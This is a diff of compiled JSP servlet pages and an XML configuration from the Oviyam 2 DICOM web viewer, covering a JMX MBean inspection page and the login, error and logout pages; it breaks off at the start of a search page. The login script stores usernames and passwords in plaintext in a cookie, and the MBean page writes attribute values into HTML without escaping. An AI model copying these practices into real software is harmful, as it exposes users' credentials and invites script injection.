if (attrValue == null)
{
out.write("\r\n");
out.write(" <input type=\"text\" name=\"");
out.print( attrName );
out.write("\" value=\"\" ");
out.print( readonly );
out.write('>');
out.write('\r');
out.write('\n');
}
else if (String.valueOf(attrValue).indexOf(sep) == -1)
{
out.write("\r\n");
out.write(" <input type=\"text\" name=\"");
out.print( attrName );
out.write("\" value=\"");
out.print( attrValue.replace("\"","&quot;") );
out.write('"');
out.write(' ');
out.print( readonly );
out.write('>');
out.write('\r');
out.write('\n');
}
else
{
out.write("\r\n");
out.write(" <textarea cols=\"40\" rows=\"5\" nowrap='nowrap' type=\"text\" name=\"");
out.print( attrName );
out.write('"');
out.write(' ');
out.print( readonly );
out.write('>');
out.print( attrValue );
out.write("</textarea>\r\n");
}
}
else
{ // Empty text fields for write-only
out.write("\r\n");
out.write("\t\t <input type=\"text\" name=\"");
out.print( attrName );
out.write('"');
out.write(' ');
out.print( readonly );
out.write('>');
out.write('\r');
out.write('\n');
}
}
else
{
if( attrType.equals("[Ljavax.management.ObjectName;") )
{
// Array of Object Names
ObjectName[] names = (ObjectName[]) Server.getMBeanAttributeObject(objectNameString, attrName);
if( names != null )
{
out.write("\r\n");
out.write(" <table>\r\n");
for( int i = 0; i < names.length; i++ )
{
out.write("\r\n");
out.write(" <tr><td>\r\n");
out.write(" <a href=\"HtmlAdaptor?action=inspectMBean&name=");
out.print( URLEncoder.encode(( names[ i ] + "" )) );
out.write('"');
out.write('>');
out.print( ( names[ i ] + "" ) );
out.write("</a>\r\n");
out.write(" </td></tr>\r\n");
}
out.write("\r\n");
out.write(" </table>\r\n");
}
}
// Array of some objects
else if( attrType.endsWith("[]"))
{
Object arrayObject = Server.getMBeanAttributeObject(objectNameString, attrName);
if (arrayObject != null) {
out.write("\r\n");
out.write(" <table>\r\n");
for (int i = 0; i < Array.getLength(arrayObject); ++i) {
out.write("\r\n");
out.write(" <tr><td>");
out.print(Array.get(arrayObject,i));
out.write("</td></tr>\r\n");
}
out.write("\r\n");
out.write(" </table>\r\n");
}
}
else
{
// Just the value string
out.write("\r\n");
out.write("\t\t ");
out.print( attrValue );
out.write('\r');
out.write('\n');
}
}
if( attrType.equals("javax.management.ObjectName") )
{
// Add a link to the mbean
if( attrValue != null )
{
out.write("\r\n");
out.write(" <a href=\"HtmlAdaptor?action=inspectMBean&name=");
out.print( URLEncoder.encode(attrValue) );
out.write("\">View MBean</a>\r\n");
}
}
out.write("\r\n");
out.write(" </td>\r\n");
out.write(" <td>");
out.print( attrDescription);
out.write("</td>\r\n");
out.write("\t\t</tr>\r\n");
}
out.write("\r\n");
out.write("\t</table>\r\n");
if( hasWriteable )
{
out.write("\r\n");
out.write("\t<input type=\"submit\" value=\"Apply Changes\">\r\n");
}
out.write("\r\n");
out.write("</form>\r\n");
out.write("\r\n");
out.write("<hr>\r\n");
out.write("<h3>List of MBean operations:</h3>\r\n");
for(int a = 0; a < operationInfo.length; a ++)
{
MBeanOperationInfo opInfo = operationInfo[a];
boolean accept = true;
if (opInfo instanceof ModelMBeanOperationInfo)
{
Descriptor desc = ((ModelMBeanOperationInfo)opInfo).getDescriptor();
String role = (String)desc.getFieldValue("role");
if ("getter".equals(role) || "setter".equals(role))
{
accept = false;
}
}
if (accept)
{
MBeanParameterInfo[] sig = opInfo.getSignature();
out.write("\r\n");
out.write("<form method=\"post\" action=\"HtmlAdaptor\">\r\n");
out.write(" <input type=\"hidden\" name=\"action\" value=\"invokeOp\">\r\n");
out.write(" <input type=\"hidden\" name=\"name\" value=\"");
out.print( objectNameString );
out.write("\">\r\n");
out.write(" <input type=\"hidden\" name=\"methodIndex\" value=\"");
out.print( a );
out.write("\">\r\n");
out.write(" <hr align='left' width='80'>\r\n");
out.write(" <h4>");
out.print( opInfo.getReturnType() + " " + opInfo.getName() + "()" );
out.write("</h4>\r\n");
out.write(" <p>");
out.print( fixDescription(opInfo.getDescription()));
out.write("</p>\r\n");
if( sig.length > 0 )
{
out.write("\r\n");
out.write("\t<table cellspacing=\"2\" cellpadding=\"2\" border=\"1\">\r\n");
out.write("\t\t<tr class=\"OperationHeader\">\r\n");
out.write("\t\t\t<th>Param</th>\r\n");
out.write("\t\t\t<th>ParamType</th>\r\n");
out.write("\t\t\t<th>ParamValue</th>\r\n");
out.write("\t\t\t<th>ParamDescription</th>\r\n");
out.write("\t\t</tr>\r\n");
for(int p = 0; p < sig.length; p ++)
{
MBeanParameterInfo paramInfo = sig[p];
String pname = paramInfo.getName();
String ptype = paramInfo.getType();
if( pname == null || pname.length() == 0 || pname.equals(ptype) )
{
pname = "arg"+p;
}
out.write("\r\n");
out.write("\t\t<tr>\r\n");
out.write("\t\t\t<td>");
out.print( pname );
out.write("</td>\r\n");
out.write("\t\t <td>");
out.print( ptype );
out.write("</td>\r\n");
out.write(" <td> \r\n");
if( ptype.equals("boolean") || ptype.equals("java.lang.Boolean") )
{
// Boolean true/false radio boxes
out.write("\r\n");
out.write(" <input type=\"radio\" name=\"arg");
out.print( p);
out.write("\" value=\"True\"checked>True\r\n");
out.write(" <input type=\"radio\" name=\"arg");
out.print( p);
out.write("\" value=\"False\">False\r\n");
}
else
{
out.write("\r\n");
out.write(" <input type=\"text\" name=\"arg");
out.print( p);
out.write("\">\r\n");
}
out.write("\r\n");
out.write(" </td>\r\n");
out.write(" <td>");
out.print( fixDescription(paramInfo.getDescription()));
out.write("</td>\r\n");
out.write("\t\t</tr>\r\n");
}
out.write("\r\n");
out.write("\t</table>\r\n");
}
out.write("\r\n");
out.write("\t<input type=\"submit\" value=\"Invoke\">\r\n");
out.write("</form>\r\n");
}
}
out.write("\r\n");
out.write("</td></tr>\r\n");
out.write("</table>\r\n");
out.write("</body>\r\n");
out.write("</html>\r\n");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,93 @@
<configuration>
<users class="java.util.ArrayList">
<user>
<user-name>user</user-name>
<search-params>
<buttons class="java.util.ArrayList">
<button>
<button-label>Today CT</button-label>
<date-criteria>t</date-criteria>
<modality>CT</modality>
<auto-refresh>0</auto-refresh>
</button>
</buttons>
</search-params>
<theme>Dark Hive</theme>
<viewer-slider>hide</viewer-slider>
<session-timeout>1800</session-timeout>
</user>
<user>
<user-name>admin</user-name>
<search-params>
<buttons class="java.util.ArrayList">
<button>
<button-label>Today CT</button-label>
<date-criteria>t</date-criteria>
<modality>CT</modality>
<auto-refresh>0</auto-refresh>
</button>
<button>
<button-label>Today CR</button-label>
<date-criteria>t</date-criteria>
<modality>CR</modality>
<auto-refresh>0</auto-refresh>
</button>
<button>
<button-label>Today MR</button-label>
<date-criteria>t</date-criteria>
<modality>MR</modality>
<auto-refresh>0</auto-refresh>
</button>
</buttons>
</search-params>
<theme>Dot Luv</theme>
<viewer-slider>hide</viewer-slider>
<session-timeout>1800</session-timeout>
</user>
</users>
<servers class="java.util.ArrayList">
<server>
<logicalname>PACS</logicalname>
<aetitle>ABPACS</aetitle>
<hostname>localhost</hostname>
<port>11112</port>
<retrieve>WADO</retrieve>
<wadocontext>wado</wadocontext>
<wadoport>8080</wadoport>
<previews>true</previews>
<imageType>PNG</imageType>
</server>
</servers>
<listener>
<aetitle>OVIYAM2</aetitle>
<port>1025</port>
</listener>
<languages class="java.util.ArrayList">
<language>
<lang>English</lang>
<country>United Kingdom</country>
<localeID>en_GB</localeID>
<selected>true</selected>
</language>
<language>
<lang>Tamil</lang>
<country>India</country>
<localeID>ta_IN</localeID>
<selected>false</selected>
</language>
<language>
<lang>German</lang>
<country>Germany</country>
<localeID>de_DE</localeID>
<selected>false</selected>
</language>
<language>
<lang>Japanese</lang>
<country>Japan</country>
<localeID>ja_JP</localeID>
<selected>false</selected>
</language>
</languages>
<ioviyam-context>/ioviyam2</ioviyam-context>
<download-study>yes</download-study>
</configuration>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,65 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class default_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
org.apache.jasper.runtime.JspRuntimeLibrary.include(request, response, "index.html", out, false);
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,130 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class error_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html; charset=UTF-8");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("\n");
out.write("<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n");
out.write("\n");
out.write("<html>\n");
out.write(" <head>\n");
out.write(" <meta charset=\"utf-8\" />\n");
out.write(" <title>OVIYAM 2.6 Login Page</title>\n");
out.write("\n");
out.write(" <script type=\"text/javascript\" src=\"js/lib/jquery-latest.js\"></script>\n");
out.write(" <script type=\"text/javascript\" src=\"js/lib/jquery-ui-latest.js\"></script>\n");
out.write(" <script type=\"text/javascript\" src=\"js/lib/themeswitchertool.js\"></script>\n");
out.write(" <script type=\"text/javascript\" src=\"js/lib/jquery.cookies.min.js\"></script>\n");
out.write("\n");
out.write("\t\t<link rel=\"icon\" type=\"image/png\" href=\"images/favicon.png\"/>\n");
out.write(" <link rel=\"stylesheet\" href=\"css/login.css\" type=\"text/css\" />\n");
out.write(" <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.ui.all.css\" />\n");
out.write("\n");
out.write("\n");
out.write(" <script type=\"text/javascript\">\n");
out.write(" //if(navigator.platform.indexOf('iPad') != -1) {\n");
out.write(" if( /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent) ) {\n");
out.write(" var loc = window.location.toString();\n");
out.write(" loc = loc.substring(0, loc.indexOf('/', loc.lastIndexOf(':')));\n");
out.write(" //window.location = loc + '/iviewer';\n");
out.write(" alert('Your browser is not supported.');\n");
out.write(" window.stop();\n");
out.write(" }\n");
out.write("\n");
out.write(" $(document).ready(function() {\n");
out.write(" var theme = $.cookies.get( 'theme' );\n");
out.write(" \tif(theme == null) {\n");
out.write(" theme = 'Dark Hive';\n");
out.write(" \t}\n");
out.write("\n");
out.write("\t\t$('#switcher').themeswitcher({\n");
out.write(" loadTheme: theme,\n");
out.write(" cookieName:'',\n");
out.write(" width: 160\n");
out.write(" });\n");
out.write("\n");
out.write("\t\t$('#loginButton').button();\n");
out.write("\n");
out.write(" });\n");
out.write("\n");
out.write(" </script>\n");
out.write(" </head>\n");
out.write(" <body class=\"ui-widget-content\" style=\"border:none;\" onload=\"document.login.j_username.focus()\">\n");
out.write(" \t <center><h2>Login Failed!</h2></center>\n");
out.write(" <section>\n");
out.write(" <form name=\"login\" id=\"login\" action=\"j_security_check\" method=\"POST\">\n");
out.write(" <fieldset>\n");
out.write(" <legend><font>Login</font></legend>\n");
out.write(" <h1>Oviyam 2</h1> <h4>DICOM Web Workstation - Version 2.6</h4>\n");
out.write(" <label><font>Username </font><span class=\"mandatory\"><font>*</font></span><font></font></label>\n");
out.write(" <input type=\"text\" name=\"j_username\" class=\"textInput\" placeholder=\"Username\" required>\n");
out.write("\n");
out.write(" <label><font>Password </font><span class=\"mandatory\"><font>*</font></span><font></font></label>\n");
out.write(" <input type=\"password\" name=\"j_password\" class=\"textInput\" placeholder=\"Password\" required>\n");
out.write("\n");
out.write(" <input type=\"submit\" name=\"submit\" id=\"loginButton\" value=\"Login\" class=\"button disabled\">\n");
out.write(" </fieldset>\n");
out.write(" </form>\n");
out.write(" </section>\n");
out.write(" <footer style=\"text-align: center;\">OVIYAM 2.6 requires latest version of Google Chrome / Safari / Mozila Firefox.</footer>\n");
out.write("</body>\n");
out.write("</html>");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,204 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class login_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html; charset=UTF-8");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("\n");
out.write("<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n");
out.write("\n");
out.write("<html>\n");
out.write("<head>\n");
out.write("\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n");
out.write("\t<title></title>\n");
out.write("\n");
out.write("\t<script type=\"text/javascript\" src=\"js/lib/jquery-latest.js\"></script>\n");
out.write("\t<script type=\"text/javascript\" src=\"js/lib/jquery-ui-latest.js\"></script>\n");
out.write("\t<script type=\"text/javascript\" src=\"js/lib/themeswitchertool.js\"></script>\n");
out.write("\t<script type=\"text/javascript\" src=\"js/lib/jquery.cookies.min.js\"></script>\n");
out.write("\t\n");
out.write("\t<script type=\"text/javascript\">\n");
out.write("\t\t//if(navigator.platform.indexOf('iPad') != -1) {\n");
out.write("\t\tif( /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent) ) {\n");
out.write("\t\t\t$.get(\"do/IOviyamContext\", function(data) {\n");
out.write("\t\t\t\tvar loc = window.location.toString();\n");
out.write("\t\t\t\tloc = loc.substring(0, loc.indexOf('/', loc.lastIndexOf(':')));\n");
out.write("\t\t\t\twindow.location = loc + data;\n");
out.write("\t\t\t\t//window.stop();\n");
out.write("\t\t\t });\n");
out.write("\t\t} \t \n");
out.write("\t\t\n");
out.write("\t\tvar lang = $.cookies.get( 'language' );\n");
out.write("\t\tvar bundleName = '';\n");
out.write("\t\tif (lang == null || lang.trim() == 'en_GB') {\n");
out.write("\t\t\tbundleName = 'js/i18n/Bundle.js'; \n");
out.write("\t\t} else {\n");
out.write("\t\t\tbundleName = 'js/i18n/' + \"Bundle_\" + lang + \".js\";\n");
out.write("\t\t}\t\t\t\n");
out.write("\t\tdocument.write('<script type=\"text/javascript\" src=\"' + bundleName + '\"><\\/script>');\n");
out.write("\t</script>\n");
out.write("\n");
out.write("\t<link rel=\"icon\" type=\"image/png\" href=\"images/favicon.png\"/>\n");
out.write("\t<link rel=\"stylesheet\" href=\"css/login.css\" type=\"text/css\" />\n");
out.write("\t<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.ui.all.css\" />\n");
out.write("\n");
out.write("\n");
out.write("\t<script type=\"text/javascript\">\n");
out.write("\t\t$(document).ready(function() {\n");
out.write("\t\t\tvar theme = $.cookies.get( 'theme' );\n");
out.write("\t\t\tif(theme == null) {\n");
out.write("\t\t\t\ttheme = 'Dark Hive';\n");
out.write("\t\t\t}\n");
out.write("\t\t\t\n");
out.write("\t\t\tvar browserVersion= navigator.userAgent.match(/(opera|chrome|safari|firefox|msie)\\/?\\s*(\\.?\\d+(\\.\\d+)*)/i);\n");
out.write("\t\t\tvar browserName = browserVersion[1].toUpperCase();\n");
out.write("\t\t\t/*if( !(browserName != 'CHROME' && browserName != 'SAFARI') ) {\n");
out.write("\t\t\t\t$('footer').remove();\n");
out.write("\t\t\t}*/\n");
out.write("\t\t\tif(!(browserName.indexOf('MSIE')>0)) {\n");
out.write("\t\t\t\t$('footer').remove();\n");
out.write("\t\t\t} \t\t\n");
out.write("\t\t\t\n");
out.write("\t\t\t$('#switcher').themeswitcher({\n");
out.write("\t\t\t\t\t\tloadTheme: theme,\n");
out.write("\t\t\t\t\t\tcookieName:'',\n");
out.write("\t\t\t\t\t\twidth: 160\n");
out.write("\t\t\t});\n");
out.write("\t\n");
out.write("\t\t\t$('#loginButton').button();\n");
out.write("\t\t\t\t$(document).attr('title', languages['PageTitle']);\n");
out.write("\t\t\t\t$(\"#loginButton\").val(languages['Login']);\n");
out.write("\t\t\t}); \n");
out.write("\n");
out.write("\t\tfunction setCookie(name, value, expires, path, domain, secure) {\n");
out.write("\t\t\t var curCookie = name + \"=\" + escape(value) +\n");
out.write("\t\t\t ((expires) ? \"; expires=\" + expires.toUTCString() : \"\") +\n");
out.write("\t\t\t ((path) ? \"; path=\" + path : \"\") +\n");
out.write("\t\t\t ((domain) ? \"; domain=\" + domain : \"\") +\n");
out.write("\t\t\t ((secure) ? \"; secure\" : \"\");\n");
out.write("\t\t\t document.cookie = curCookie;\n");
out.write("\t\t}\n");
out.write("\t\t\n");
out.write("\t\tfunction validateForm(form) {\n");
out.write("\t\t\tif(form.remember_me.checked) {\n");
out.write("\t\t\t\t var credentials = {\n");
out.write("\t\t\t\t\t 'username' : form.j_username.value,\n");
out.write("\t\t\t\t\t 'password' : form.j_password.value,\n");
out.write("\t\t\t\t\t 'remember': form.remember_me.checked\n");
out.write("\t\t\t\t };\n");
out.write("\t\t\t\t setCookie(\"credentials\",JSON.stringify(credentials));\n");
out.write("\t\t } else {\n");
out.write("\t\t\t\t setCookie(\"credentials\",\"\");\n");
out.write("\t\t }\n");
out.write("\t\t return true;\t\n");
out.write("\t\t}\n");
out.write("\t\t\n");
out.write("\t\tfunction loadUser() {\n");
out.write("\t\t\tvar credentials = $.cookies.get(\"credentials\");\n");
out.write("\t\t\tif(credentials) {\n");
out.write("\t\t\t\tdocument.login.j_username.value = credentials['username'];\n");
out.write("\t\t\t\tdocument.login.j_password.value = credentials['password'];\n");
out.write("\t\t\t\tdocument.login.remember_me.checked = credentials['remember'];\n");
out.write("\t\t\t\tdocument.login.login_button.focus();\n");
out.write("\t\t\t} else {\n");
out.write("\t\t\t\tdocument.login.j_username.focus();\n");
out.write("\t\t\t}\n");
out.write("\t\t}\n");
out.write("\t\t\n");
out.write("\t</script>\n");
out.write("\t\n");
out.write("</head>\n");
out.write("<body class=\"ui-widget-content\" style=\"border:none;\" onload=\"loadUser();\">\n");
out.write("<section>\n");
out.write("\t<form name=\"login\" id=\"login\" action=\"j_security_check\" method=\"POST\" onsubmit=\"return validateForm(this);\">\n");
out.write("\t\t<fieldset>\n");
out.write("\t\t\t<legend><font>Login</font></legend>\n");
out.write("\t\t\t<h1><script>document.write(languages['PageTitle']) </script> 2</h1> <h4>DICOM Web Workstation - Version 2.6</h4>\n");
out.write("\t\t\t\n");
out.write("\t\t\t<label><font><script>document.write(languages['UserName'])</script> </font><span class=\"mandatory\"><font>*</font></span><font> </font></label>\n");
out.write("\t\t\t<input type=\"text\" name=\"j_username\" class=\"textInput\" placeholder=\"Username\" required>\n");
out.write("\n");
out.write("\t\t\t<label><font><script>document.write(languages['Password'])</script> </font><span class=\"mandatory\"><font>*</font></span><font> </font></label>\n");
out.write("\t\t\t<input type=\"password\" name=\"j_password\" class=\"textInput\" placeholder=\"Password\" required>\n");
out.write("\n");
out.write("\t\t\t<table> <tr> <td> <input type=\"checkbox\" name=\"remember_me\" value=\"Remember Me\"/> </td> \n");
out.write("\t\t\t<td style=\"font-size: 10pt;\"> Remember Me </td> </tr> </table> </td>\t\t\t\n");
out.write("\t\t\t\n");
out.write("\t\t\t<input type=\"submit\" name=\"submit\" id=\"loginButton\" value=\"\" class=\"button disabled\">\n");
out.write("\t\t</fieldset>\n");
out.write("\t</form>\n");
out.write("</section>\n");
out.write("<!-- <footer align=\"center\"><script>document.write(languages['Footer'])</script></footer> -->\n");
out.write("<!-- \t<div style=\"text-align: center; margin-top: 10px; font-size: 10px;\">This version of oviyam, being a free open-source software is not intended for diagnosis</div> -->\n");
out.write("<div style=\"text-align: center; margin-top: 3%; font-size: 60%;\"><script>document.write(languages['disclaimer'])</script> <br> <br> <script>document.write(languages['limitation'])</script></div>\n");
out.write("\n");
out.write("<div style=\"width: 100%; position: absolute; bottom: 0px;\">\n");
out.write("<table style=\"width:100%\">\n");
out.write("<tr>\n");
out.write("<td><a href=\"http://dcm4che.org\" target=\"_blank\"><img src=\"images/dcm4che.png\" alt=\"dcm4che.org\" style=\"width: 132px;\" /></a></td> \n");
out.write("<td style=\"text-align: center\"><img src=\"images/html5.png\" alt=\"\" style=\"width: 132px\" /> </td>\n");
out.write("<td style=\"text-align: right\"><a href=\"http://oviyam.raster.in\" target=\"_blank\"><img src=\"images/raster.png\" alt=\"Raster Images\" style=\"width: 132px\" /></a></td>\n");
out.write("</tr>\n");
out.write("</table>\n");
out.write("</div>\n");
out.write("\n");
out.write("</body>\n");
out.write("</html>");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,116 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class logout_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("<!--\n");
out.write("/* ***** BEGIN LICENSE BLOCK *****\n");
out.write("* Version: MPL 1.1/GPL 2.0/LGPL 2.1\n");
out.write("*\n");
out.write("* The contents of this file are subject to the Mozilla Public License Version\n");
out.write("* 1.1 (the \"License\"); you may not use this file except in compliance with\n");
out.write("* the License. You may obtain a copy of the License at\n");
out.write("* http://www.mozilla.org/MPL/\n");
out.write("*\n");
out.write("* Software distributed under the License is distributed on an \"AS IS\" basis,\n");
out.write("* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n");
out.write("* for the specific language governing rights and limitations under the\n");
out.write("* License.\n");
out.write("*\n");
out.write("* The Original Code is part of Oviyam, an web viewer for DICOM(TM) images\n");
out.write("* hosted at http://skshospital.net/pacs/webviewer/oviyam_0.6-src.zip\n");
out.write("*\n");
out.write("* The Initial Developer of the Original Code is\n");
out.write("* Raster Images\n");
out.write("* Portions created by the Initial Developer are Copyright (C) 2014\n");
out.write("* the Initial Developer. All Rights Reserved.\n");
out.write("*\n");
out.write("* Contributor(s):\n");
out.write("* Babu Hussain A\n");
out.write("* Devishree V\n");
out.write("* Meer Asgar Hussain B\n");
out.write("* Prakash J\n");
out.write("* Suresh V\n");
out.write("*\n");
out.write("* Alternatively, the contents of this file may be used under the terms of\n");
out.write("* either the GNU General Public License Version 2 or later (the \"GPL\"), or\n");
out.write("* the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n");
out.write("* in which case the provisions of the GPL or the LGPL are applicable instead\n");
out.write("* of those above. If you wish to allow use of your version of this file only\n");
out.write("* under the terms of either the GPL or the LGPL, and not to allow others to\n");
out.write("* use your version of this file under the terms of the MPL, indicate your\n");
out.write("* decision by deleting the provisions above and replace them with the notice\n");
out.write("* and other provisions required by the GPL or the LGPL. If you do not delete\n");
out.write("* the provisions above, a recipient may use your version of this file under\n");
out.write("* the terms of any one of the MPL, the GPL or the LGPL.\n");
out.write("*\n");
out.write("* ***** END LICENSE BLOCK ***** */\n");
out.write("-->\n");
out.write("\n");
// String url = "." + "?q=" + session.getAttribute("q");
// session.invalidate();
// response.sendRedirect(url);
session.invalidate();
response.sendRedirect(".");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,256 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class newSearch_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("<html>\n");
out.write(" <head>\n");
out.write(" <meta charset=\"utf-8\">\n");
